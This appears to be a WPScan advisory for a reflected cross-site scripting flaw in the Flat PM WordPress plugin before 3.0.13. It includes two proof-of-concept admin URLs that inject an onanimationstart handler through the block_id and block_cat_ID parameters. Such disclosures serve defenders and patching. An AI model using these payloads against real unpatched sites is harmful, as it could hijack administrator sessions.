WordPress Plugin Vulnerabilities
Flat PM < 3.0.13 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Proof of Concept
v < 3.0.13 (the block_id needs to start with an existing block ID https://example.com/wp-admin/admin.php?page=blocks_form&block_id=567"+style=animation-name:rotation+onanimationstart=alert(/XSS/)// v < 2.662 https://example.com/wp-admin/admin.php?page=blocks_form&block_cat_ID=1"+style=animation-name:rotation+onanimationstart=alert(/XSS/)//
Affects Plugins
Fixed in 3.0.13 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
cydave
Submitter
cydave
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-11-17 (about 1 years ago)
Added
2022-11-17 (about 1 years ago)
Last Updated
2023-02-27 (about 1 years ago)
WPScan 